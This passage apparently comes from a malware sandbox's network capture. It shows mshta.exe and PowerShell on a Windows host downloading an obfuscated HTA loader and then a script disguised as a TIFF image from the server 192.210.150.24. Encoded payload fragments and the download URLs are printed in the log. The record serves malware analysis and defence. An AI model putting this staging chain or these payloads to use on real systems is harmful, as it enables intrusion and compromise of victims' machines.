-->...document.write(unescape('%3C%53%63%72%69%70%74%20%4C%61%6E%67%75%61%67%65%3D%27%4A%61%76%61%73%63%72%69%70%74%27%3E%0A%3C%21%2D%2D%20%48%54%4D%4C%20%45%6E%63%72%79%70%74%69%6F%6E%20%70%72%6F%76%69%64%65%64%20%62%79%20%74%75%66%61%74%2E%63%6F%6D%20%2D%2D%3E%0A%3C%21%2D%2D%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%27%25%33%43%25%32%31%25%34%34%25%34%46%25%34%33%25%35%34%25%35%39%25%35%30%25%34%35%25%32%30%25%36%38%25%37%34%25%36%44%25%36%43%25%33%45%25%30%41%25%33%43%25%36%44%25%36%35%25%37%34%25%36%31%25%32%30%25%36%38%25%37%34%25%37%34%25%37%30%25%32%44%25%36%35%25%37%31%25%37%35%25%36%39%25%37%36%25%33%44%25%32%32%25%35%38%25%32%44%25%35%35%25%34%31%25%32%44%25%34%33%25%36%46%25%36%44%25%37%30%25%36%31%25%37%34%25%36%39%25%36%32%25%36%43%25%36%35%25%32%32%25%32%30%25%36%33%25%36%46%25%3
Dec 12, 2024 21:56:20.370754004 CET	1236	IN	Data Raw: 36 25 34 35 25 32 35 25 33 37 25 33 34 25 32 35 25 33 36 25 33 35 25 32 35 25 33 36 25 34 35 25 32 35 25 33 37 25 33 34 25 32 35 25 33 33 25 34 34 25 32 35 25 33 32 25 33 32 25 32 35 25 33 34 25 33 39 25 32 35 25 33 34 25 33 35 25 32 35 25 33 33 Data Ascii: 6%45%25%37%34%25%36%35%25%36%45%25%37%34%25%33%44%25%32%32%25%34%39%25%34%35%25%33%44%25%34%35%25%36%44%25%37%35%25%36%43%25%36%31%25%37%34%25%36%35%25%34%39%25%34%35%25%33%38%25%32%32%25%32%30%25%33%45%25%30%41%25%33%43%25%36%38%25%37%34%25%3
Dec 12, 2024 21:56:20.370769978 CET	1236	IN	Data Raw: 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 Data Ascii: 0%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%3
Dec 12, 2024 21:56:20.371121883 CET	1236	IN	Data Raw: 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 Data Ascii: 5%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%2
Dec 12, 2024 21:56:20.371139050 CET	1236	IN	Data Raw: 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 Data Ascii: 2%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%3
Dec 12, 2024 21:56:20.371488094 CET	1236	IN	Data Raw: 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 Data Ascii: 0%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%3
Dec 12, 2024 21:56:20.371546030 CET	1236	IN	Data Raw: 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 Data Ascii: 5%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%2
Dec 12, 2024 21:56:20.371561050 CET	1236	IN	Data Raw: 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 Data Ascii: 2%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%3
Dec 12, 2024 21:56:20.371577024 CET	1236	IN	Data Raw: 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 Data Ascii: 0%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%3
Dec 12, 2024 21:56:20.372320890 CET	1236	IN	Data Raw: 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 Data Ascii: 5%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%2
Dec 12, 2024 21:56:20.490737915 CET	1236	IN	Data Raw: 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 Data Ascii: 2%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49164	192.210.150.24	80	3568	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:56:24.083247900 CET	455	OUT	GET /55/crm/creamkissingthingswithcreambananapackagecreamy.hta HTTP/1.1 Accept: / Accept-Language: fr-FR UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Range: bytes=8897- Connection: Keep-Alive Host: 192.210.150.24 If-Range: "142f6-6290bfc5f522a"
Dec 12, 2024 21:56:25.199204922 CET	1236	IN	HTTP/1.1 206 Partial Content Date: Thu, 12 Dec 2024 20:56:25 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Thu, 12 Dec 2024 05:28:35 GMT ETag: "142f6-6290bfc5f522a" Accept-Ranges: bytes Content-Length: 73781 Content-Range: bytes 8897-82677/82678 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/hta Data Raw: 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 [TRUNCATED] Data Ascii: 5%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25
Dec 12, 2024 21:56:25.199268103 CET	1236	IN	Data Raw: 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 Data Ascii: %32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%33%44%25%32%30%25%32%30%25
Dec 12, 2024 21:56:25.199304104 CET	448	IN	Data Raw: 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 Data Ascii: %30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%34%33%25%35%32%25%34%35%25%36%31%25%35%34%25%34%35%25%34%46%25%36%32%25%34%41%25%34%35%25%36%33%25%35%34%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32
Dec 12, 2024 21:56:25.199374914 CET	1236	IN	Data Raw: 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 Data Ascii: 32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%
Dec 12, 2024 21:56:25.199413061 CET	1236	IN	Data Raw: 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 Data Ascii: 30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%
Dec 12, 2024 21:56:25.199446917 CET	1236	IN	Data Raw: 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 Data Ascii: 25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%
Dec 12, 2024 21:56:25.199484110 CET	1236	IN	Data Raw: 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 Data Ascii: 32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%
Dec 12, 2024 21:56:25.199964046 CET	1236	IN	Data Raw: 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 Data Ascii: 30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%
Dec 12, 2024 21:56:25.200025082 CET	1236	IN	Data Raw: 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 Data Ascii: 25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%
Dec 12, 2024 21:56:25.200062990 CET	1236	IN	Data Raw: 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 Data Ascii: 32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%
Dec 12, 2024 21:56:25.320254087 CET	1236	IN	Data Raw: 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 Data Ascii: 30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49165	192.210.150.24	80	3696	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:56:30.837434053 CET	379	OUT	GET /55/creamykissinglipsgoodforcreamythingswithcreamicream.tIF HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 192.210.150.24 Connection: Keep-Alive
Dec 12, 2024 21:56:31.966479063 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 20:56:31 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Thu, 12 Dec 2024 05:24:00 GMT ETag: "25930-6290bebf04a4e" Accept-Ranges: bytes Content-Length: 153904 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/tiff Data Raw: ff fe 0d 00 0a 00 20 00 20 00 20 00 20 00 0d 00 0a 00 57 00 4f 00 69 00 4b 00 74 00 47 00 43 00 65 00 4b 00 75 00 68 00 49 00 6b 00 69 00 41 00 20 00 3d 00 20 00 22 00 64 00 52 00 71 00 6e 00 64 00 72 00 57 00 6f 00 61 00 57 00 69 00 57 00 4b 00 7a 00 4f 00 22 00 0d 00 0a 00 50 00 78 00 6b 00 6d 00 68 00 41 00 73 00 42 00 74 00 4b 00 57 00 4b 00 49 00 4c 00 68 00 20 00 3d 00 20 00 22 00 4c 00 6b 00 68 00 65 00 49 00 51 00 55 00 57 00 57 00 41 00 65 00 51 00 7a 00 55 00 4b 00 22 00 0d 00 0a 00 63 00 41 00 4f 00 6b 00 4b 00 6a 00 78 00 6d 00 4c 00 4b 00 6d 00 6b 00 47 00 63 00 54 00 20 00 3d 00 20 00 22 00 65 00 5a 00 47 00 4b 00 55 00 6d 00 47 00 71 00 55 00 43 00 69 00 47 00 4b 00 61 00 69 00 22 00 0d 00 0a 00 0d 00 0a 00 69 00 4b 00 47 00 62 00 6a 00 66 00 53 00 70 00 5a 00 4c 00 57 00 4a 00 6a 00 70 00 6d 00 20 00 3d 00 20 00 22 00 47 00 63 00 61 00 57 00 4b 00 75 00 62 00 67 00 67 00 6e 00 47 00 4c 00 43 00 50 00 70 00 22 00 0d 00 0a 00 4f 00 73 00 66 00 4c 00 69 00 69 00 57 00 49 00 4c 00 75 00 [TRUNCATED] Data Ascii: WOiKtGCeKuhIkiA = "dRqndrWoaWiWKzO"PxkmhAsBtKWKILh = "LkheIQUWWAeQzUK"cAOkKjxmLKmkGcT = "eZGKUmGqUCiGKai"iKGbjfSpZLWJjpm = "GcaWKubggnGLCPp"OsfLiiWILuKcnkS = "UAcpidikKJWhhWm"efKqpiLfhKLAhcP = "mzWUhWZzotpBOWK"eIfeqoLBNZKNbdG = "JPWaGqCAGNHhpZk"kAxgnbiLnzGRcvS = "oBWCZNuGhpzcfHc"GkUzbLBfQzNpfLL = "bOiNpLUAhuKfGbc"WpeeijJiNLCakaG = "WqLpUPaiWKjWdNi"UaKrKWipOZxooBs = "zWAcLUrmzILemOU"GkPNGfzzaitOiLn = "qrLAkWUbLgbaiLG"ABjTfj
Dec 12, 2024 21:56:31.966586113 CET	1236	IN	Data Raw: 00 43 00 50 00 57 00 6c 00 68 00 75 00 73 00 61 00 55 00 20 00 3d 00 20 00 22 00 57 00 4c 00 50 00 62 00 55 00 68 00 4b 00 4b 00 69 00 4e 00 53 00 4c 00 41 00 55 00 48 00 22 00 0d 00 0a 00 6d 00 47 00 65 00 4b 00 66 00 64 00 74 00 64 00 48 00 63 Data Ascii: CPWlhusaU = "WLPbUhKKiNSLAUH"mGeKfdtdHcfzbnG = "LnLQofWPbmGjnKW"cTvmquGeCqdNKiW = "NeepLIoZqLUgpSR"ubRsJGsixWiesW
Dec 12, 2024 21:56:31.966625929 CET	1236	IN	Data Raw: 00 54 00 53 00 69 00 41 00 42 00 4e 00 22 00 0d 00 0a 00 50 00 7a 00 71 00 55 00 6e 00 55 00 61 00 4c 00 78 00 50 00 70 00 4b 00 6f 00 50 00 52 00 20 00 3d 00 20 00 22 00 69 00 43 00 50 00 6e 00 6b 00 43 00 70 00 75 00 62 00 65 00 6e 00 61 00 49 Data Ascii: TSiABN"PzqUnUaLxPpKoPR = "iCPnkCpubenaIaG"jUUerzcgjzpZITx = "AkPWxdeTWipocpc"SLOCfoZCWnicPPe = "PZKamBWLBLAOmhh"G
Dec 12, 2024 21:56:31.966813087 CET	1236	IN	Data Raw: 00 57 00 70 00 20 00 3d 00 20 00 22 00 61 00 74 00 63 00 57 00 61 00 62 00 66 00 41 00 6c 00 55 00 68 00 71 00 4c 00 74 00 57 00 22 00 0d 00 0a 00 6b 00 5a 00 41 00 62 00 5a 00 7a 00 66 00 73 00 62 00 4e 00 4c 00 4c 00 57 00 71 00 7a 00 20 00 3d Data Ascii: Wp = "atcWabfAlUhqLtW"kZAbZzfsbNLLWqz = "eNCooLSUPTNnKKo"cGinobzkkWGzfLc = "bWJWiaUNLaCUcWd"zlLCcLccNJPcRoC = "uqAP
Dec 12, 2024 21:56:31.966847897 CET	896	IN	Data Raw: 00 73 00 57 00 51 00 49 00 63 00 6e 00 57 00 63 00 52 00 69 00 65 00 55 00 75 00 64 00 63 00 20 00 3d 00 20 00 22 00 6e 00 5a 00 4b 00 4e 00 7a 00 69 00 57 00 70 00 6e 00 75 00 66 00 57 00 41 00 63 00 62 00 22 00 0d 00 0a 00 4b 00 69 00 66 00 6a Data Ascii: sWQIcnWcRieUudc = "nZKNziWpnufWAcb"KifjZNxKJnWiack = "KKuLjkdLnLhGukz"NLixWKeqzaKWQAt = "QxacLxtLeLkKccP"aSOqmPLC
Dec 12, 2024 21:56:31.966881990 CET	1236	IN	Data Raw: 00 78 00 55 00 50 00 4c 00 67 00 6e 00 4e 00 6f 00 4c 00 62 00 4b 00 69 00 42 00 4f 00 52 00 20 00 3d 00 20 00 22 00 64 00 57 00 6b 00 7a 00 4b 00 4b 00 57 00 76 00 4f 00 63 00 69 00 4b 00 6b 00 6e 00 4b 00 22 00 0d 00 0a 00 62 00 57 00 4c 00 63 Data Ascii: xUPLgnNoLbKiBOR = "dWkzKKWvOciKknK"bWLcnncGceNWKiW = "RAhoUKbthNRxZZb"LGhKWcHNTWUBtiQ = "bmcWZcmLuSjmjZW"boomLemKKA
Dec 12, 2024 21:56:31.966931105 CET	1236	IN	Data Raw: 00 57 00 6c 00 65 00 69 00 57 00 4c 00 47 00 4f 00 4e 00 6d 00 22 00 0d 00 0a 00 69 00 68 00 69 00 63 00 6d 00 43 00 53 00 4c 00 41 00 55 00 55 00 7a 00 63 00 4f 00 6b 00 20 00 3d 00 20 00 22 00 4c 00 57 00 55 00 57 00 57 00 6f 00 62 00 4e 00 4b Data Ascii: WleiWLGONm"ihicmCSLAUUzcOk = "LWUWWobNKKcUWKZ"KZUAoKdrxLhRZkd = "kmUWNfmWNKkaNof"khuLzolxLbijaWh = "LTBWPqiicekWnnN
Dec 12, 2024 21:56:31.967674017 CET	1236	IN	Data Raw: 00 65 00 6b 00 6c 00 6b 00 7a 00 47 00 20 00 3d 00 20 00 22 00 76 00 62 00 43 00 4c 00 4c 00 75 00 6a 00 4b 00 4b 00 43 00 5a 00 52 00 74 00 55 00 57 00 22 00 0d 00 0a 00 66 00 55 00 6b 00 67 00 63 00 4c 00 6a 00 4c 00 66 00 7a 00 5a 00 69 00 4c Data Ascii: eklkzG = "vbCLLujKKCZRtUW"fUkgcLjLfzZiLiG = "JGLNaRgzkciitnZ"caciKBUGmmLLeQG = "WGLpATIthikWWKK"dGcUkHCfLxoLbio = "
Dec 12, 2024 21:56:31.967708111 CET	1236	IN	Data Raw: 00 6d 00 22 00 0d 00 0a 00 0d 00 0a 00 4c 00 55 00 65 00 49 00 57 00 7a 00 4f 00 50 00 52 00 65 00 72 00 4b 00 69 00 6b 00 65 00 20 00 3d 00 20 00 22 00 63 00 6b 00 57 00 63 00 62 00 66 00 6f 00 73 00 75 00 68 00 50 00 63 00 69 00 69 00 55 00 22 Data Ascii: m"LUeIWzOPRerKike = "ckWcbfosuhPciiU"OpoGumWWLQLmWLA = "lcKPqlAledWLikU"WakLeNfuZBWPhUO = "khkUbNbhdRKWWCh"pLiS
Dec 12, 2024 21:56:31.967744112 CET	1236	IN	Data Raw: 00 22 00 4b 00 6f 00 4b 00 70 00 63 00 76 00 63 00 4c 00 6d 00 63 00 47 00 52 00 7a 00 6c 00 4c 00 22 00 0d 00 0a 00 6e 00 69 00 62 00 68 00 68 00 4b 00 71 00 57 00 4b 00 47 00 48 00 68 00 6b 00 4a 00 6b 00 20 00 3d 00 20 00 22 00 72 00 64 00 64 Data Ascii: "KoKpcvcLmcGRzlL"nibhhKqWKGHhkJk = "rddKWtbGRWfALtb"cbciLUiLHAmohGe = "RiKrLhGWiPlnOeh"cbLNmlGQLLTkUAG = "xLpSxKorG
Dec 12, 2024 21:56:32.088252068 CET	1236	IN	Data Raw: 00 75 00 4b 00 41 00 52 00 48 00 6c 00 4c 00 71 00 4e 00 76 00 47 00 6f 00 20 00 3d 00 20 00 22 00 4b 00 49 00 47 00 66 00 4c 00 53 00 6f 00 4f 00 69 00 61 00 70 00 4c 00 52 00 4c 00 4e 00 22 00 0d 00 0a 00 57 00 69 00 57 00 4b 00 47 00 63 00 4c Data Ascii: uKARHlLqNvGo = "KIGfLSoOiapLRLN"WiWKGcLlzexNeWP = "PkZKWNLPkzqRrkz"iBLNihLnzBkrBor = "kLiLvCGGKloLkLJ"GbiGbqnWknkiK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49171	192.210.150.24	80	2504	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
